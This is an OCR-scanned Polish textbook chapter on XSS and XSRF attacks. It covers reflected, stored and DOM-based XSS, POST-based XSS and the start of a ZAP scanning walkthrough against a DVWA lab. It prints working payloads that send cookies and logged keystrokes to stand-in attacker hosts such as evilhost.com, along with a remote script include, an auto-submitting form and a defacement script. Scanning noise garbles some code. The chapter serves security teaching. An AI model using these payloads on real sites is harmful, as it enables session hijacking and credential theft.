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R O zZ2 D Z2 | A t

Luki umozliwiajgce
przeprowadzanie
atakow XSS i XSRF

W epoce Web 2.0 coraz wiecej przedsiebiorstw zaczyna korzystaé z rozbudowanych aplikacji
internetowych, za pomocg ktérych prowadzi sie handel elektroniczny, przeprowadza operacje
bankowe, handluje na gieldzie, zapisuje dane metodyczne itd. Dla wygody uzytkownika aplikacje
te zawieraja elementy interaktywne i przechowujg poufne informacje o uzytkowniku. Programisci
takich aplikacji powinni z najwyzsza staranno$cig podchodzi¢ do kwestii bezpieczefistwa i podej-
mowac¢ wszelkie mozliwe $rodki zapewniajace poufnosé i nienaruszalnosé przechowywanych
w ten spos6b danych.

W przypadku gdy program pobiera dane od uzytkownika, najwiecej watpliwosci budzi fakt,
ze informacjom tym nie mozna ufa¢. Uzytkownik zamiast prawidlowego loginu moze wpisa¢
skrypt, a zadaniem aplikacji jest wykrycie takich szkodliwych dziatan. Jegli system nie bedzie
skutecznie oczyszcezal danych otrzymywanych na wej$ciu, napastnicy wykorzystajg to do prze-
prowadzenia ataku.

W tym rozdziale omawiam ataki typu XSS (ang. cross-site scripting) i XSRF (ang, cross site request
forgery). W obu przypadkach bezposrednim celem napastnika nie jest uzytkownik koricowy,
lecz chodzi o wykorzystanie luki w zabezpieczeniach witryny internetowej, ktéra ten uzytkownik
odwiedza. Gdy napastnikowi uda sie¢ umiesci¢ swoj skrypt w takim serwisie, bedzie on infekowat
wszystkich, ktérzy do niego wejda.

W tym rozdziale oméwitem nastepujace tematy:
B historia atakéw typu XSS;
B podstawowe wiadomosci o atakach typu XSRF;
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typy atakéw XSS;

XSS i JavaScript;

narzedzia do przeprowadzania atakéw XSS;
luki typu XSRF.

Historia atakow typu XSS

Pojecia XSS i JavaScript czesto mozna spotka¢ w swoim towarzystwie. JavaScript to wykonywany
u klienta skryptowy jezyk programowania wprowadzony do uzytku w 1995 1. przez firme Netscape.
Jezyk ten stworzono gléwnie po to, by umozliwi¢ wykonywanie pewnych dziataii w przegladarce
internetowej. I cho¢ JavaScriptu mozna uzywaé takze do innych celéw, nadal najczesciej znaj-
duje on zastosowanie w implementacji wykonywanych w przegladarkach skryptéw sterujacych
prezentacja stron, np. wyswietlajacych wyskakujace okienka dialogowe, gdy uzytkownik wpisze
nieprawidlows warto$¢ w polu formularza, albo pokazujacych reklamy na stronach internetowych.

Niektorzy hakerzy szybko odkryli, ze za pomocg JavaScriptu mozna odczytywaé dane ze stron
internetowych tfadowanych w sasiednich oknach lub ramkach. Oznaczalo to, Ze szkodliwa witryna
mogla przekroczy¢ granice i reagowad z trecia zatadowana na catkiem innej stronie internetowej,
pochodzacej z innej domeny. Stad wlasnie wziela sie nazwa cross-site scripting (wykonywanie
skryptéw miedzy witrynami). Aby uniemozliwi¢ przeprowadzanie atakéw ta metoda, firma
Netscape wprowadzita zasade wspdlnego pochodzenia, w mysl ktorej skrypty z jednej strony maja
dostep tylko do innych stron nalezacych do tej samej domeny. Innymi stowy: uniemozliwiono
napastnikom odczytywanie za pomoca JavaScriptu danych z dowolne;j strony.

W pierwszych latach XXI w. ataki typu XSS zyskaly rozglos, poniewaz za ich pomoca hakerzy
zaczeli zmuszaé strony internetowe do tadowania szkodliwych skryptéw w przegladarkach inter-
netowych. Cho¢ cele atakéw XSS z biegiem lat sie zmienily, nazwa pozostata ta sama, przez co
niektérzy zastanawiajg sie, o co w tym chodzi. Hakerzy wynalezli wiele metod wykorzystania ata-
kéw typu XSS, np.: do skanowania portéw, rejestrowania naciskanych klawiszy czy wyswietlania
szkodliwych reklam.

Za pomocg ataku typu XSS mozna tez wstrzyknaé¢ do podatnej strony internetowej kod VBSeriptu,
ActiveX lub Flasha. Jednak, ze wzgledu na powszechnosé JavaScriptu, w dalszej cze$ci rozdziatu
przedstawiam przyklady oparte na uzyciu skryptéw wlasnie w tym jezyku.

Wprowadzenie do JavaScriptu

Na poczatek pragne podkreslié, ze jezyk programowania JavaScript to nie to samo co Java. Firma
Netscape wybrata taka nazwe wylacznie ze wzgledéw marketingowych, poniewaz w czasie gdy
powstal JavaScript, jezyk Java zdobywal ogromna popularno$é. W dynamicznych aplikacjach
sieciowych JavaScript znajduje liczne zastosowania. Skrypty moga byé osadzane na stronach
internetowych w specjalnych znacznikach HTML-a i moga pobiera¢ dane z réznych zrédel, na
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podstawie ktérych budowana jest nastepnie ostateczna prezentacja. Prostym przykladem moze
by¢ witryna portalu spotecznosciowego budujaca strone profilu przez zatadowanie obrazu, danych
uzytkownika i starych wpiséw z kilku miejsc. Ponizej znajduje sie opis kilku sposobéw uzycia
JavaScriptu w kodzie HTML-a:
B Znacznik script — kod JavaScriptu mozna umiescié bezposrednio na stronie
internetowej za pomocg znacznika <script>. Na przyklad:

<script> alert("XSS"); </script>

B Znacznik body — skrypt mozna tez wstawié na strone przy uzyciu zdarzenia onload
w znaczniku <body>. Na przyklad:

<body onload=alert("XSS")>

B Znacznik img — ten sposéb wykonywania kodu JavaScriptu jest czesto
wykorzystywany do nieuczciwych celéw. Na przyktad:

<img src="javascript:alert('XSS');">

Skrypty JavaScriptu mozna tez wstawia¢ na strony internetowe przy uzyciu innych znacznikéw,
np.: <iframe>, <div> czy <1ink>.

Za pomocg JavaScriptu mozna nie tylko pobiera¢ informacje z serwera, ale takze wykonywac
dziatania na obiektowym modelu dokumentu (ang. Document Object Model — DOM) oraz
uzyskiwaé dostep do danych przegladarki internetowej i wlasciwosci systemu operacyjnego.
Wprawdzie projektanci JavaScriptu przewidzieli mozliwo$é wykonywania skryptéw w bardzo
ograniczonym Srodowisku wykonawczym z niewielkimi uprawnieniami w systemie operacyjnym,
ale nawet to wystarcza napastnikom do robienia pewnych bardzo nieprzyjemnych rzeczy.

Zaladowany w przegladarce skrypt ma dostep do nalezgcych do sesji uzytkownika ciasteczek i do
historii otwieranych adreséw URL. W ciasteczkach czesto przechowuje sie identyfikatory sesji,
wiec jesli haker je wykradnie, moze zapanowac nad sesjg. Ponadto JavaScript ma tez pelny dostep
do struktury DOM strony internetowej i moze modyfikowaé¢ kod HTML-a strony, w zwigzku
z czym haker moze wyswietli¢ na komputerze uzytkownika wlasng tresé. Jesli dodatkowo napast-
nik zaciemni swdj kod JavaScriptu, to niewprawiony w analizowaniu kodu zwykly uzytkownik ma
niewielky szanse wykry¢ oszustwo.

DOM to logiczna struktura definiujaca atrybuty i sposoby prezentadji na stronie réznych obiektow (np.: tekstu,
obrazéw, nagtéwkéw czy odnosnikdw) oraz okreslajgca reguty manipulowania nimi.

Podstawowe informacje o atakach typu XSS

Mowige najprosciej: celem ataku typu XSS jest wykonanie szkodliwego kodu JavaScriptu w prze-
gladarce uzytkownika. Skrypt ten jest dostarczany do klienta za posrednictwem strony interneto-
wej podatnej na ataki XSS. U klienta przegladarka internetowa traktuje skrypty jako legalng czes¢
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strony internetowej i je wykonuje. Uruchomiony w przegladarce ofiary skrypt moze zmusié¢
przegladarke do wykonania réznych czynnosci, jak réwniez do przeprowadzenia nieuczciwych
transakcji, wykradzenia ciasteczek czy przekierowania uzytkownika na inng strone.

W ataku XSS zwykle biora udzial nastepujace podmioty:
B napastnik;
B podatna na ataki aplikacja sieciowa;
B ofiara korzystajaca z przegladarki internetowej;
B dodatkowa witryna, do ktérej napastnik chce przekierowaé przegladarke lub ktorg
chce zaatakowa¢ za posrednictwem ofiary.

Przeanalizujemy przyklad ataku XSS:

1. Najpierw przy uzyciu legalnych danych napastnik sprawdza podatno$é pél aplikacji
sieciowej na ataki XSS. Obiecujace dla niego sg pola, ktére zwracajg dane z powrotem
do przegladarki. Przyklad takiej sytuacji jest pokazany na ponizszym rysunku.
Witryna przekazuje dane za pomocg metody GET i wy$wietla je w przegladarce:

Bddres http:Yexample.org/hello. php?name=Juned%20Ansari

Hi, Juned Ansari

2. Gdy napastnik wykryje stabo zabezpieczony parametr, za pomoca ktérego mozna
dokonaé wstrzykniecia kodu, musi znalezé sposéb na dostarczenie do uzytkownika
szkodliwego adresu URL zawierajacego kod JavaScriptu. Jednym ze sposobow jest
wyslanie falszywej wiadomosci e-mail badZ zmuszenie ofiary do otwarcia wiadomosci
za pomocg phishingu.

3. Wiadomo§¢ e-mail powinna zawiera¢ adres URL do podatnej na ataki aplikacji
internetowej z dotaczonym kodem JavaScriptu. Gdy uzytkownik kliknie spreparowany
odnosnik, przegladarka przetworzy adres i wysle do witryny zawarty w nim kod.
Dane w postaci skryptu JavaScriptu zostana zwrécone do przegladarki i w niej
wykonane. Mozemy np. sprébowaé¢ wykona¢ taki wredny kod JavaScriptu:
<script>alert('Mam Cie!!')</script>.

Aby tego dokonaé, mogliby§my spreparowaé ponizszy adres URL:

http://example.org/hello.php?name=<script>alert('Mam Cie!!')</script>
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4. Metody alert czesto uzywa sie w demonstracjach i w celu przetestowania aplikacji
pod katem podatnosci na ataki. W dalszej czesci tego rozdzialu opisuje tez inne metody
z uzyciem JavaScriptu czesto stosowane przez napastnikéw.

5. Jezeli aplikacja sieciowa jest podatna na ataki, to w przegladarce uzytkownika pojawi
sie okno dialogowe podobne do widocznego na ponizszym rysunku:

) http://fexample.org/hello.php?name =<script=alert(Mam Cie!l)</script= > ||Q Search | ol

o~
N2

[ Most Visited v [l Offensive Security S Kali Linux S Kali Docs % Kali Tools EMExploit-DB W Aircrack-ng

Typy atakow XSS

Gléwnym celem ataku XSS jest wykonanie kodu JavaScriptu w przegladarce internetowej ofiary,
ale cel ten mozna osiagnaé na wiele sposobéw. Wszystko tak naprawde zalezy od budowy i prze-
znaczenia atakowanej witryny. Wyréznia sie trzy podstawowe kategorie atakéw XSS:

B atak XSS z utrwaleniem (ang. persistent XSS);
B refleksyjny atak XSS (ang. reflected XSS);
B atak XSS na DOM (ang. DOM XSS).

Ataki XSS z utrwaleniem

Ten rodzaj ataku XSS nazywany jest po angielsku persistent XSS lub stored XSS, poniewaz polega
na wstrzyknieciu danych na serwer sieciowy lub do bazy danych na serwerze, po czym aplikacja
serwuje go uzytkownikom bez Zzadnej kontroli. Tego rodzaju atak méglby przeprowadzi¢ napastnik
chcgey zainfekowaé komputery wszystkich uzytkownikéw serwisu. Udana préba tego typu daje
hakerowi szerokie pole do dziatania.
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Oto typowe cele atakéw XSS z utrwaleniem:
B internetowe fora dyskusyjne,
B portale spotecznosciowe,

B serwisy z wiadomo$ciami.

Ataki XSS z utrwaleniem sg uwazane za najbardziej szkodliwa odmiane wszystkich atakéw typu
XSS, poniewaz skrypt hakera zostaje automatycznie wstrzykniety do przegladarki ofiary. Napast-
nik nie musi dodatkowo positkowa¢ sie phishingiem, aby naktoni¢ uzytkownika do klikniecia
facza. Szkodliwy skrypt zostaje wystany do podatnej na ataki witryny i jest przesytany do uzyt-
kownikéw podcezas normalnego przegladania stron. Ponadto w ataku XSS z utrwaleniem mozna
bezposrednio zaimportowaé plik JavaScriptu ze zdalnego serwera. Ponizszy skrypt np. bedzie
pobieral ze zdalnego serwera kod JavaScriptu do wykonania:

<script type="text/javascript" src=http://evil.store/malicious.js></script>

Na ponizszym schemacie przedstawiona jest aplikacja sieciowa podatna na ataki XSS z utrwale-
niem. Jest to forum internetowe, ktérego uzytkownicy moga tworzyé konta i kontaktowaé
sie z innymi uzytkownikami. Aplikacja zapisuje w bazie danych profile wraz z innymi danymi.
Haker odkrywa, ze ta aplikacja nie oczyszcza danych przekazanych w sekeji komentarzy, wiec
wykorzystuje ten fakt do dodania szkodliwego kodu JavaScriptu za pomoca pola komentarza.
Kod ten zostaje zapisany w bazie danych aplikacji. Gdy niczego niepodejrzewajaca ofiara wyswietli
ktory$ z komentarzy, w jej przegladarce internetowej zostanie wykonany wyslany przez napastnika

skrypt, ktéry pobiera ciasteczko i wysyla je do zdalnego serwera znajdujacego sie pod kontrolg
hakera:

Podatna na ataki

Atak XSS z utrwaleniem
aplikacja sleciowa

/A

Napastnik

Ofiara

http:f fwww . fakeforum.com/comments.php?comment=
<script=document.write('<img src="http://evilserver.com/" +
document.cookie+')<fscript>
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Refleksyjne ataki XSS

Refleksyjne ataki XSS zwane sg tez atakami XSS bez utrwalenia (ang. nonpersistent XSS). W ra-
mach takiego ataku szkodliwy skrypt jest wysytany przez ofiare w zadaniu do aplikacji sieciowej,
ktéra zwraca go w odpowiedzi do przegladarki. W pierwszej chwili moze sie wydawaé, ze prze-
prowadzenie takiego ataku jest bardzo trudne, poniewaz nikt z wlasnej woli nie wysle szkodliwego
skryptu do serwera, ale hakerzy maja bogaty zestaw sposob6w na naklonienie uzytkownika do tego.

Refleksyjne ataki XSS sa najczes$ciej skierowane na konkretne osoby, ktérym wysyta sie fatszywa
wiadomosé e-mail ze skryptem dolaczonym do adresu URL, lub przeprowadza sie je za pomoca
publikacji odnosnika w ogélnodostepnej witrynie i zmusza sie uzytkownikéw do jego klikniecia.
Jesli dodatkowo napastnik skorzysta z uslugi skracania adreséw, aby ukryé swéj dlugi i dziwnie
wygladajacy adres, mogacy wzbudza¢ watpliwosci u potencjalnej ofiary, to atak ma naprawde
duzg szanse powodzenia.

Na ponizszym schemacie przedstawiona jest sytuacja, w ktérej ofiara zostaje sztuczka nakloniona
do klikniecia adresu URL dostarczajacego do aplikacji skrypt, ktéry nastepnie zostaje zwrécony
do przegladarki bez odpowiedniego sprawdzenia:

Podatna na ataki
aplikacja sleciowa h: Refleksyjny atak X5
=~

[+

Napastnik o

Q Ofiara

Fatszywa wiadomos¢ e-mail zawiera ponizszy odnosnik

http:/ /www fakewebforum.com/profiles_php?name=<script>
document.write['<img src="http://evilserver.com/' +
document.cookie+") </script=

Ataki XSS na DOM

Trzeci rodzaj atakéw XSS ma charakter lokalny i jest skierowany bezposrednio na przegladarke
internetowg, ofiary. W tym przypadku, w odréznieniu od dwoch poprzednich rodzajéow ataku,
napastnik nie wysyla szkodliwej tresci do serwera, czekajac na zwrécenie jej potem do przegladar-
ki, ktora traktuje otrzymany kod jako zaufang tresé aplikacji i wykonuje go podczas fadowania
strony. W atakach XSS na DOM wykonywany jest tylko legalny skrypt dostarczony przez serwer.
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Coraz wiecej stron HTML-owych jest generowanych nie przez serwer, tylko przez skrypty Java-
Scriptu pobierane przez Klienta z serwera. Za kazdym razem gdy od$wiezana jest tylko cze$¢ strony,
wykorzystywany jest kod JavaScriptu. Typowym przykladem jest witryna na zywo przedsta-
wiajgca wyniki meczu. Sekcja z wynikami jest w niej aktualizowana w réwnych odstepach czasu.

Ataki XSS na DOM wykorzystuja taki legalny kod przeznaczony do wykonania przez klienta.
W tym ataku najwazniejsze jest to, Ze legalny skrypt na podstawie danych wprowadzanych przez
uzytkownika dodaje tres¢ HTML-a do strony, ktéra nastepnie zostaje wyswietlona w oknie
przegladarki.

Przeanalizujemy konkretny przyktad ataku XSS na DOM:

1. Wyobraz sobie strone internetowg, ktéra ma wyswietla¢ dostosowang tresé w zaleznosci
od nazwy miasta podanej w adresie URL. Nazwa ta jest réwniez wySwietlana na stronie
HTML-owej w przegladarce uzytkownika:

http://www.cityguide.com/index.html?city=Mumbai

2. Gdy przegladarka otrzyma powyzszy adres, wysyla do http://www.cityguide.com/
zadanie strony internetowej. W przegladarce uzytkownika nastepuje pobranie
i wykonanie legalnego kodu JavaScriptu, ktéry dodaje do nagléwka strony nazwe
miasta. Nazwa ta pochodzi z adresu URL (w tym przypadku jest to Mumbai),

a wiec stanowi parametr pozostajacy pod kontrolg uzytkownika.

3. Jak napisalem wczesniej, w atakach XSS na DOM szkodliwych skryptéw nie
wysyla sie do serwera. Jest to mozliwe dzieki dodaniu do adresu URL znaku #,
ktéry powoduje, ze wszystko, co znajduje sie za nim, nie zostanie wyslane.

W efekcie dziatajacy na serwerze kod nie ma dostepu do tej czesci adresu,
mimo ze moze z niej korzystaé kod dzialajacy na kliencie.

Przykladowy szkodliwy adres URL skonstruowany wedtug tej zasady moze
wygladaé tak:
http://www.cityguide.com/index.html?#city=<script>function</script>

4. Podczas tadowania strony przegladarka znajduje legalny skrypt, ktéry pobiera
z adresu URL nazwe miasta do wstawienia do kodu HTML-a. W tym przypadku
jednak skrypt otrzymuje nie nazwe miasta, tylko skrypt, ktéry dodaje do zrédta
strony. Podczas jej renderowania przegladarka wykonuje ten skrypt, co oznacza
udane przeprowadzenie ataku XSS na DOM.

Na rysunku na nastepnej stronie schematycznie przedstawiono zasade wykonywania ataku XSS
na DOM:

Obrona przed atakami XSS na DOM

Poniewaz szkodliwa tre$¢ wykorzystywana w ataku XSS na DOM nie trafia do serwera, nie da sie
jej wykryé za pomocy technik serwerowych. Oczywiscie problem dotyczy sposobu dzialania
aplikacji, ale lezy po stronie kodu wykonywanego u klienta. Jedng z podstawowych metod
obrony jest rezygnacja z budowania stron HTML-owych za pomocg skryptéw wykonywanych
w przegladarce.
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Atak X55 na DOM

Napastnik

Serwer sleclowy

Adres URL podatny
na ataki X55 na DOM

/4

=

Przegladarka ofiary

Legalny kod JavaScriptu dodaje
szhodliwy kod do Zradla strony

Witryna w odpowiedzl przesyla
0 legalny kod JavaScriptu
’i

Czasami nie da sie unikngé odbierania danych od uzytkownika w kodzie lokalnym i wéwczas
najlepszym rozwigzaniem jest nieuzywanie ryzykownych elementéw HTML-a i metod Java-
Scriptu.

Z ponizszych rozwigzan nalezy korzystaé¢ z najwieksza ostroznoscia:
B document.write():
document.write('City name='+userinput);
B element.innerHTML:
element.innerHTML="<div>"'+userinput
+'</div>";
B eval;

var UserInput=""'Mumbai';alert(x);";
eval ("document.forms[0]."+"Cityname="+txtUserInput);

Dodatkowo dane przekazywane przez uzytkownika mozna kodowaé przed ich uzyciem w kodzie
klienckim. Mozna takze korzysta¢ ze znakéw oddzielania taricuchéw oraz opakowywaé¢ dane
uzytkownikéw we wlasne funkcje. Niektore srodowiska JavaScriptu majg tez wbudowane mecha-
nizmy ochrony przed atakami na DOM.

Kodowanie oznacza taka modyfikacje danych przekazywanych przez uzytkownika, aby przegladarka
mogfa je zinterpretowac tylko jako zwykte dane, a nie kod Zrédtowy. Polega to np. na zamianie wszystkich
znakdw typu <i>naencje &1t; i &gt;.
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Ataki XSS z uzyciem metody POST

W opisanym wczesniej przykladzie refleksyjnego ataku XSS uzyta zostala metoda GET, ktéra
znacznie ulatwia hakerowi wstrzykiwanie danych, poniewaz wystarczy tylko spreparowa¢ odpo-
wiedni adres URL ze skryptem i za pomocg sztuczki sktonié¢ uzytkownika do jego klikniecia.
Kiedy strona internetowa przekazuje dane od uzytkownika za pomoca metody POST, napastnik
chegey przeprowadzié atak XSS musi troche bardziej sie napracowad.

Metoda POST uniemozliwia bezposrednie wstrzykniecie skryptu, poniewaz dane wejsciowe nie sg,
przesylane w adresie URL. Napastnik musi znalez¢ niebezposredni sposéb na wstrzykniecie
swojego skryptu do aplikacji. Ponizej znajduje sie opis takiego procesu oparty na konkretnym
przykladzie.

Powiedzmy, ze pewna strona internetowa zawiera wyszukiwarke podatng na ataki XSS i gdy
napastnik wstrzykuje skrypt do pola wyszukiwania na tej stronie, zostaje on zwrécony do prze-
gladarki bez jakiejkolwiek weryfikacji. Ponizej znajduje sie przykladowy kod HTML-a takiej
strony:

<html>
<body>
<form name="query" method="post" action="/search.php">
<input type="text" name="search_input" value="">
<input type="submit" value="wy§1ij">
</form>
</body>
</html>

Jednym ze sposob6éw na przeprowadzenie ataku XSS przy uzyciu metody POST jest naklonienie
uzytkownika za pomoca sztuczki do wypehienia znajdujacego sie na stronie napastnika formu-
larza i klikniecia przycisku zatwierdzajacego. Po tym zdarzeniu aplikacja przeniostaby uzytkowni-
ka do podatnej na ataki witryny, zamieniajac dane uzytkownika na szkodliwy skrypt.

Préba zmuszenia uzytkownika do tego, by wypemil formularz w witrynie napastnika, ma male
szanse powodzenia i rzadko konczy sie sukcesem. Dlatego nalezy zastosowaé rozwigzanie auto-
matyczne, polegajace na wstawieniu szkodliwego skryptu i zadania POST do podatnej aplikacji
bezposrednio na strone kontrolowana, przez napastnika. Zastanéwmy sie, jak taka strona powinna
by¢ zbudowana. Kontrolowana przez hakera witryna znajduje sie pod adresem: http://www.
evilattacker.com i taduje podatng na ataki strone: http://www.xssvulnerable.org/search.php. Gdy
ktos wejdzie pod adres evilattacker.com, zostaje wywolana funkcja onload, wskutek czego przegla-
darka wysyla do podatnej witryny metoda POST zadanie HTTP zawierajace specjalny kod i aby
do tego doszlo, ofiara nie musi nawet klika¢ Zadnego przycisku. Oto przykladowy kod tej strony:

<html>

<head>

<body onload="evilsearch.submit();">
<form method="post"

action="http://www.xssvulnerable.org/search.php" name="evilsearch"
>
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<input name="search_input" value="<SCRIPT>alert('XSS')</
SCRIPT>">
<input type="submit" class="button" name="submit">
</form>
</body>
</html>

Stosujac te technike, napastnik nie potrzebuje wypetienia formularza przez uzytkownika.
Wystarczy, ze nakloni go do wejscia na kontrolowang przez siebie strone internetowa.

XSS i JavaScript — $miertelna mieszanka

Hakerzy bardzo pomystowo wykorzystuja luki XSS, a dodatek JavaScriptu jeszcze zwieksza ich
mozliwosci. Techniki XSS w polaczeniu z JavaScriptem mogg by¢ stosowane do przeprowadzania
nastepujacych rodzajéw atakéw:

B przechwytywanie kont;
zmienianie tresci;
podmienianie tresci calych witryn;
skanowanie portéw z komputera ofiary;

rejestrowanie naciskanych klawiszy;

kradziez informacji z przegladarki.

Ponizej dokltadniej omawiam kilka przyktadéw.

Kradziez ciasteczek

Kazda dyskusja na temat atakéw typu XSS zaczyna sie od tego, jak przy uzyciu technik XSS
i JavaScriptu mozna zdoby¢ dane z ciasteczek. Wykradzione ciasteczka haker moze wykorzystad¢
w celu podszycia sie pod ofiare na czas sesji, czyli do momentu az uzytkownik wyloguje sie
z aplikacji.

Wtasnosé document . cookie struktury DOM dokumentu HTML-a zwraca wartosci wszystkich cia-
steczek przypisanych do biezacej sesji. Napastnik moze wiec np. wstrzykna¢ do sekeji komentarzy
witryny podatnej na ataki typu XSS ponizszy kod:

<script language="JavaScript">

Document.Tocation="http://www.evilhost.com/cookielogger.php?cookie="+document.cookie;
</script>
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Gdy uzytkownik otworzy te strone, nastepuje takze pobranie dotyczacych jej komentarzy, w kto-
rych znajduje sie powyzszy skrypt wysylajacy ciasteczko do nalezacego do napastnika serwera
evilhost.com.

Jesli zostanie ustawiona flaga HttpOnly, ktdra jest opcjonalng flagg ciasteczek, JavaScript nie bedzie
mie¢ dostepu do ciasteczka.

Rejestrowanie naciskanych klawiszy

Wstrzykujac specjalny skrypt JavaScriptu, napastnik moze tez zarejestrowad, jakie klawisze naci-
ska ofiara, i w ten sposéb zdoby¢ jej hasta, nazwy uzytkownika, numery kart kredytowych itd.,
ktére moze przestaé do swojego serwera.

Ponizej znajduje sie przyktadowy prosty skrypt rejestrujacy wszystkie naciskane klawisze:

<script>
document.onkeypress = function(e)
var img = new Image();
img.src="http://www.evilhost.com/keylogger.php?data="+e.which;
</script>

Gdy uzytkownik nacisnie jakis klawisz, nastepuje uruchomienie zdarzenia onkeypress. Powoduje
to utworzenie obiektu o nazwie e dla kazdego klawisza, ktéry zostat nacisniety. Stowo kluczowe
which jest wlasnoscia obiektu e przechowujaca kod nacisnietego klawisza.

Zmiana wygladu witryny

Ataki, w wyniku ktérych dochodzi do catkowitej zmiany wygladu witryny, nazywajg sie po angiel-
sku website defacing. Najczesciej przeprowadzaja, je aktywiSci pragnacy wypromowaé swoja
dziatalno$é. Wtasnosé document . body . innerHTML umozliwia manipulowanie z poziomu JavaScriptu
zawartoScig zatadowanej strony HTML-owej. Stworzono ja do legalnych celéw, ale, jak wszystko
inne, napastnik moze ja wykorzysta¢ w zlej wierze — w tym przypadku do podmiany zawartosci
stron.

Gdy do aplikacji zostanie wstrzykniety ponizszy skrypt, zawarto$é biezacej strony zostanie zamie-
niona na napis TA WITRYNA PADtA OFIARA ATAKU:
<script>
document.body.innerHTML="<div style=visibility:visible;><hl>
>TA WITRYNA PADLA OFIARA ATAKU</hl></div>";
</script>
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Skanowanie w poszukiwaniu luk typu XSS

System Kali Linux zawiera liczne narzedzia do automatyzacji procesu szukania luk XSS. Najbar-
dziej zmudna, ale i najskuteczniejsza jest metoda reczna, w ramach ktérej przechwytuje sie zada-
nie HTTP za pomoca posrednika, zmienia sie zawarto$é pol oraz wstawia sie wlasng tresé.

Poniewaz aplikacje stajg sie coraz bardziej skomplikowane, zawieraja wiele pol, wsréd ktérych
bardzo tatwo przy recznym przegladzie pominaé te podatne na ataki. Dlatego tez technika reczna
jest wskazana jedynie, gdy trzeba bardzo dokladnie przeanalizowa¢ wybrany parametr. Z punktu
widzenia napastnika automatyzacja zadania identyfikacji podatnych parametréw jest korzystna,
poniewaz znacznie skraca czas potrzebny na opracowanie eksploita. W Kali Linuksie znajduje
sie kilka narzedzi do automatycznego skanowania aplikacji w poszukiwaniu luk XSS. W tej sekcji
opisuje nastepujagce programy:

B OWASP Zed Attack Proxy,

B XSSer,

B w3af.

Zed Attack Proxy

Program Zed Attack Proxy (ZAP) to narzedzie open source do przeprowadzania testw penetra-
cyjnych na aplikacjach sieciowych. Ten prowadzony przez OWASP projekt jest galezig proxy
Paros. W Kali Linuksie 2.0 dostepna jest wersja 2.4.1. Jej najwazniejsze funkcje to:

B proxy przechwytujacy ruch;

B skaner aktywny i pasywny;

B Dbrute force;

B fuzzing;

B obstuga szerokiego spektrum jezykéw zabezpieczen.

Standardowo ZAP dziata jako pasywny proxy, tzn. nie przechwytuje aktywnie ruchu, dopéki uzyt-
kownik nie ustawi punktu wstrzymania na adresie URL, wobec ktérego chcialby przechwycié
zadanie i odpowiedz. ZAP mozna znalezé w sekcji Applications/Web Application Analysis (aplika-
cje/analiza aplikacji sieciowych).

W tym przypadku narzedzia ZAP uzyjemy do identyfikacji luk XSS w aplikacjach sieciowych.
Podobnie jak w przypadku kazdego posrednika (ang. proxy), najpierw nalezy skonfigurowac
przegladarke internetowy tak, aby przesylala przez niego ruch. Przegladarke mozna skonfiguro-
waé whasnorecznie albo za pomocg specjalnego dodatku o nazwie FoxyProxy do Firefoksa, ktéry
tez wymaga wstepnej konfiguracji. Po jej dokonaniu pozostaje wybra¢ ustawienia proxy z menu
rozwijanego, jak pokazano na ponizszym rysunku:
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ZAP to wszechstronne narzedzie do testowania aplikacji sieciowych. Na karcie Sites (witryny),
znajdujacej sie w lewym gérnym rogu okna, znajduje sie lista wszystkich odwiedzonych serwiséw.
Podczas przegladania portalu program prowadzi w tle pasywne skanowanie i prébuje wykry¢ luki
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" GET. iliti ¥
- [

[L_]Params T <4 Http Sessions T () Zest Results T ') Clients T &7 WebSockets T # A)AX Spider T Output W
[ = History ] ‘=, Search I 3¢ Break Points T j[UAIerts ® T ? Active Scan T & spider T #  Forced Browse T i Fuzzer 1

[+ Cookie set without HttpOnly flag i
v (&2 Alerts (4) URL: http://192.168.1.72/dvwa/

» (B ™ Directory browsing Risk: I Low

¥ [ 7 Cookie set without HttpOnly flag (2) Reliability: Warning

GET: http://192.168.1.72/cvwal Parameter: PHPSESSID=b6d1vfl 2/9rofS0vedslquehrs; path

[ GET: http://192.168.1.72/cwwaf Attack:
» ([ 7 X-Content-Type-Options headsr missing (4) E&céelr;:e: EHPSESSID:bGdlvfl2\9rof50vcd5lquehr5; path
> [ﬁNX—Frame—Optiuns header not set (4) <k 2 DAL 5
Alerts D Rl 2 @il Current Scans ) 0 30 0 £0 420 o
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Okreslanie zakresu i wybér trybow

Po skonfigurowaniu przegladarki do wspélpracy z ZAP program ten wyswietla wszystkie odwie-
dzane strony w okienku Sites po lewej stronie. Podczas testu penetracyjnego wazne jest, aby
zidentyfikowaé okreslone cele, dlatego nalezy zdefiniowaé zakres witryn. W tym celu kliknij
prawym przyciskiem myszy interesujgcy Cie adres URL, rozwifi menu Include in Context (dodaj
do kontekstu) i kliknij pozycje New context (nowy kontekst), aby utworzy¢ nowy zakres dla tego

adresu. Adresy dodane do zakresu sg oznaczone specjalng ikona: .

File Edit View Analyse Report Tools Online Help

| Standard mode || || L [ 8 =

&=

DOE DED J 2«h)oREADE o

@ sites | | | Scripts

.| Script Console

Response«= T % Break T

O TuvwE

v mduwa

| FGET:login.php
Ll [ 5] POST:login.php(Login.passwo
|| P GETiindex.php

¥ Mwulnerabilities

@] Y GET:xs5_S

i POST e ol btn i it o)

I

% Quick Start = Request

L

| Header: Text v] | Body: Text v] ﬂjh_—l

POST http://192.168.1.72/dvwa/vulnerabilities/xss_s/ HTTP 4
/1.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:37.0)
Gecko/20100101 Firefox/37.0

» [E5 M Cross Site Sc
> ﬁ ¥ Cross Site Sc
» (5§ M Directory broy

¥ [ 7 Cookie set wit Copy URLs to clipboard ack:
GET: httpiLs Exclude fram ¥ |dence: PHPSESSID=b6d1vfl2I9rofS0vedSiguehrs: path
= : A== Break... E Id: 0 |
GET: http://19
D pil Alerts for this node L AL

|| P GET:wulf Attack
<« Delete
ae 8] e
- | Params < Htt
EHJ - z = Flag as Context
== History ]’%Sear Run application
® @ Exclude from Context
Resend...
¥ & Alerts (6
& (6) MNew Alert...

Show in Histery tab
Open URL in Browser

fccent: textrhtml, application/xhtml+xml,application/xml;q v

" 3

z4pimtxMessage=Juneds:21%21:btnSign=Sign+

1 bckets T S AJAX Spider T | output
2 T # " Forced Browse T i Fuzzer

rwy

Bpider

New context

v

ut HttpOnly flag [a
L: http://192.168.1.72/dvwa/

ke I Low
iability: Warning
rameter: PHPSESSID=b6d1vfl 219rofS0vedSlguehrs: path

Jezeli w witrynie stosowane jest uwierzytelnianie za pomoca formularza i tre§¢ mozna obejrze¢
tylko po zalogowaniu, adres URL strony uwierzytelniania nalezy oznaczy¢ jako Form-based Auth
Login request (zadanie autoryzacji logowania za pomocg formularza), jak pokazano na ponizszym

rysunku:

@ Sites | | | Scripts

Responses=

T % Break T

|| Script Console

[ 1o GELavwa

